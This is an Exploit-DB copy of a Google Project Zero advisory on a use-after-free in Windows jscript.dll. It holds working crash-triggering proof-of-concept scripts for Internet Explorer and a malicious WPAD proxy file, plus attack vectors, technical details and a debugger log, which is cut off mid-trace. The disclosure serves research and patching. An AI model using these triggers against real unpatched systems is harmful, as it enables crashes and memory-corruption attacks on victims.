Exploit-DB #43367
Description: Microsoft Windows - 'jscript!NameTbl::GetValDef' Use-After-Free
Type: dos
Platform: windows
Date: 2017-12-19
Author: Google Security Research

Exploit:
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1376

There is a use-after-free vulnerability in jscript.dll. This issue could potentially be exploited through multiple vectors:

 - An attacker on the local network could exploit this issue by posing as a WPAD (Web Proxy Auto-Discovery) host and sending a malicious wpad.dat file to the victim. This works because wpad.dat files are JavaScript files interpreted with jscript.dll on the WPAD client. Note that, in this case, an attacker who successfully exploited the vulnerability would gain the same privileges as the WinHTTP Web Proxy Auto-Discovery Service.

 - The issue can also be exploited by opening a malicious web page in Internet Explorer.

The issue has been verified on 64-bit Win7 with the most recent patches applied.

PoC for Internet Explorer (might require page heap to trigger the crash):

============================================
-->

<!-- saved from url=(0014)about:internet -->
<meta http-equiv="X-UA-Compatible" content="IE=8"></meta>
<script language="Jscript.Encode">

var vars = new Array(100);
for(var i=0;i<100;i++) vars[i] = {};

function f() {
  vars[1] = 1;
  CollectGarbage();
  return {};
}

vars[1].toString = f;
Array.prototype.join.call(vars);

</script>

<!--
============================================

PoC for WPAD (might require page heap to trigger the crash):

============================================

function FindProxyForURL(url, host) {

var vars = new Array(100);
for(var i=0;i<100;i++) vars[i] = {};

function f() {
  vars[1] = 1;
  CollectGarbage();
  return {};
}

vars[1].toString = f;
Array.prototype.join.call(vars);

return "DIRECT";
}

===========================================

Technical details:

The issue is in NameTbl::GetValDef which is called when an object is converted to a string. The function attempts to call toString() or valueOf() of the NameTbl object 2 times or until the return value isn't an JavaScript object. The issue is that the NameTbl object on which these methods are called isn't explicitly tracked by the garbage collector, which means the object can be deleted inside the toString/valueOf callback (as long as it's not tracked by the garbage collector somewhere else). Basically, toString/valueOf can delete its 'this' object.

Note that the crash location in the Debug log immediately precedes a virtual method call.

Debug log (from IE, but it looks similar in the WPAD service):

============================================

(a68.e4c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript!NameTbl::GetValDef+0x58:
000007fe`f5dea398 498b06          mov     rax,qword ptr [r14] ds:00000000`044d9f90=????????????????

0:013> r
rax=[PII_REDACTED] rbx=000007fef5d7bd50 rcx=[PII_REDACTED]4acfa0
rdx=[PII_REDACTED] rsi=[PII_REDACTED]b49fb8 rdi=[PII_REDACTED]
rip=000007fef5dea398 rsp=[PII_REDACTED]b49ae0 rbp=[PII_REDACTED]
 r8=[PII_REDACTED]309f20  r9=[PII_REDACTED] r10=[PII_REDACTED]
r11=[PII_REDACTED]b49a60 r12=[PII_REDACTED] r13=[PII_REDACTED]
r14=[PII_REDACTED]4d9f90 r15=[PII_REDACTED]
iopl=0         nv up ei ng nz ac po cy
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010297
jscript!NameTbl::GetValDef+0x58:
000007fe`f5dea398 498b06          mov     rax,qword ptr [r14] ds:00000000`044d9f90=????????????????

0:013> k
 # Child-SP          RetAddr           Call Site
00 00000000`12b49ae0 000007fe`f5dad069 jscript!NameTbl::GetValDef+0x58
01 00000000`12b49b70 000007fe`f5d7de69 jscript!NameTbl::InvokeInternal+0xb07
02 00000000`12b49c90 000007fe`f5d7bf3b jscript!VAR::GetValue+0xa1
03 00000000`12b49ce0 000007fe`f5ddb65d jscript!ConvertToString+0x5b
04 00000000`12b49f60 000007fe`f5d7c2ec jscript!JsArrayJoin+0x38d
05 00000000`12b4a060 000007fe`f5d7a9fe jscript!NatFncObj::Call+0x138
06 00000000`12b4a110 000007fe`f5d786ea jscript!NameTbl::InvokeInternal+0x3f8
07 00000000`12b4a230 000007fe`f5dcdd72 jscript!VAR::InvokeByDispID+0xffffffff`ffffffea
08 00000000`12b4a280 000007fe`f5d7c2ec jscript!JsFncCall+0xc2
09 00000000`12b4a310 000007fe`f5d7a9fe jscript!NatFncObj::Call+0x138
0a 00000000`12b4a3c0 000007fe`f5d7b234 jscript!NameTbl::InvokeInternal+0x3f8
0b 00000000`12b4a4e0 000007fe`f5d79852 jscript!VAR::InvokeByName+0x81c
0c 00000000`12b4a6f0 000007fe`f5d79929 jscript!VAR::InvokeDispName+0x72
0d 00000000`12b4a770 000007fe`f5d724b8 jscript!VAR::InvokeByDispID+0x1229
0e 00000000`12b4a7c0 000007fe`f5d78ec2 jscript!CScriptRuntime::Run+0x5a6
0f 00000000`12b4b5c0 000007fe`f5d78d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
10 00000000`12b4b7d0 000007fe`f5d78b95 jscript!ScrFncObj::Call+0xb7
11 00000000`12b4b870 000007fe`f5d7e6c0 jscript!CSession::Execute+0x19e
12 00000000`12b4b940 000007fe`f5d870e7 jscript!COleScript::ExecutePendingScripts+0x17a
13 00000000`12b4ba10 000007fe`f5d868d6 jscript!COleScript::ParseScriptTextCore+0x267
14 00000000`12b4bb00 000007fe`ead55251 jscript!COleScript::ParseScriptText+0x56
15 00000000`12b4bb60 000007fe`eb4db320 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
16 00000000`12b4bbe0 000007fe`ead56256 MSHTML!CScriptCollection::ParseScriptText+0x37f
17 00000000`12b4bcc0 000007fe`ead55c8e MSHTML!CScriptData::CommitCode+0x3d9
18 00000000`12b4be90 000007fe`ead55a11 MSHTML!CScriptData::Execute+0x283
19 00000000`12b4bf50 000007fe`eb5146fb MSHTML!CHtmScriptParseCtx::Execute+0x101
1a 00000000`12b4bf90 000007fe`eadf8a5b MSHTML!CHtmParseBase::Execute+0x235
1b 00000000`12b4c030 000007fe`eacd2e39 MSHTML!CHtmPost::Broadcast+0x90
1c 00000000`12b4c070 000007fe`ead2caef MSHTML!CHtmPost::Exec+0x4bb
1d 00000000`12b4c280 000007fe`ead2ca40 MSHTML!CHtmPost::Run+0x3f
1e 00000000`12b4c2b0 000007fe`ead2da12 MSHTML!PostManExecute+0x70
1f 00000000`12b4c330 000007fe`ead30843 MSHTML!PostManResume+0xa1
20 00000000`12b4c370 000007fe`ead1